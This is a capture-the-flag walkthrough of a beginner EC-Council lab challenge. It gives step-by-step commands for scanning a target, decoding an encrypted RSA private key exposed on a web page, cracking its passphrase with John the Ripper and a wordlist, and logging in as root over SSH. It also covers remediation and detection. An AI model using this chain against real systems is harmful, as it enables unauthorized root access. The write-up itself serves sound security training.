EC-Council CodeRed: Observer

A beginner-level vulnerability assessment and management challenge focusing on reconnaissance, decoding, and exploitation.

“EC-Council” and “CodeRed” are trademarks of EC-Council. This walkthrough is an independent educational reference and not affiliated with or endorsed by EC-Council.

🧭 Scenario Overview

The Observer challenge places you in the role of a vulnerability management analyst investigating a simulated national infrastructure threat. The mission objective: identify vulnerabilities, escalate privileges, and document exploitation chains before an adversary breaches critical systems.

Quick Answers (challenge)

Executive summary

An aggressive reconnaissance scan of 10.10.1.133 revealed two open TCP services: SSH (22) and HTTP (80). The web server contained a Base64 block that decoded to an encrypted RSA private key (PEM, AES-128-CBC). The key was processed with John the Ripper tooling in-lab to recover the passphrase, which unlocked the private key used to SSH in as root and retrieve the challenge flag.

Methodology & step-by-step (sanitized)

1) Initial enumeration

Performed aggressive service and version detection with Nmap:

nmap -A -T4 10.10.1.133 -oA observer_initial

Notable results (sanitized):

22/tcp open  ssh     OpenSSH 8.2p1
80/tcp open  http    Apache 2.4.41
OS: Linux

2) Web enumeration and artifact collection

The website served a Base64 artifact. The workflow used to capture and prepare the artifact was:

# create working directory and paste Base64 into 'base'
mkdir -p ~/Desktop/tmp && cd ~/Desktop/tmp
nano base   # paste Base64 block from web page

3) Clean & decode Base64

The pasted Base64 contained stray whitespace/line breaks that prevented direct decoding. The following steps produced a clean binary that contained a PEM-formatted, AES-128-CBC encrypted RSA key:

# remove non-Base64 characters and decode
tr -cd 'A-Za-z0-9+/=' < base > base.clean
base64 -d base.clean > out.bin

# inspect output
file out.bin
head -n 10 out.bin

Inspection revealed a sanitized header similar to:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,<IV>
... (truncated) ...
-----END RSA PRIVATE KEY-----

4) Convert for password analysis

To prepare the encrypted private key for analysis in an authorized CTF context, use the ssh2john helper to convert it into a John-compatible format:

python3 /usr/share/john/ssh2john.py out.bin > password.txt

5) Recover passphrase (CTF-lab only)

A controlled, authorized use of John the Ripper with a local wordlist recovered the passphrase for the key:

gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt
john --wordlist=/tmp/rockyou.txt password.txt

(Note: in a production environment, cracking encrypted keys is not an acceptable remedial action; this step is shown here as the intended CTF methodology only.)

6) Use the key to authenticate

With the passphrase and key available, set secure permissions and authenticate via SSH:

mv out.bin id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.1.133
cat /root/rootflag.txt

Evidence (sanitized)

Key snippets and nmap output were recorded and sanitized for publication. Sensitive artifacts (full private key, flag MD5) are redacted here.

$ nmap -A -T4 10.10.1.133
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1
80/tcp open  http    Apache 2.4.41

Impact & risk assessment

Exposing a private key (even if encrypted) in a web-accessible location represents a serious key-management failure. If the passphrase is weak or obtainable, an attacker can impersonate the service or authenticate as privileged users. In this challenge the root account was fully compromised, demonstrating high impact (complete host takeover).

Remediation & best practices

  1. Never store private keys in webroots. Use secure directories (e.g., /etc/ssl/private) with strict permissions or a secrets manager/HSM.
  2. Rotate and revoke exposed keys and any certificates derived from them.
  3. Enforce strong passphrases and avoid guessable passwords—use long, randomly generated phrases or store keys in agents/vaults.
  4. Harden SSH: disable root login, restrict users, and limit access by IP/VLAN.
  5. Detect & prevent accidental exposure: scan repos and webroots for BEGIN RSA PRIVATE KEY patterns; implement pre-commit/CI checks.

Detection & monitoring

Lessons learned

“Security isn’t just about defense — it’s about understanding offense.”

Appendix — Reproducible (lab) commands

For transparency and reproducibility in a controlled lab/CTF environment, these are the core commands used (sanitized). Do not use these instructions for unauthorized access.

# Enumeration
nmap -A -T4 10.10.1.133

# Base64 cleanup & decode
tr -cd 'A-Za-z0-9+/=' < base > base.clean
base64 -d base.clean > out.bin

# Convert private key for John and run JTR with local wordlist
python3 /usr/share/john/ssh2john.py out.bin > password.txt
gunzip -c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt
john --wordlist=/tmp/rockyou.txt password.txt

# Use key (after setting permissions)
mv out.bin id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.1.133
cat /root/rootflag.txt

Author: SnarkyWolf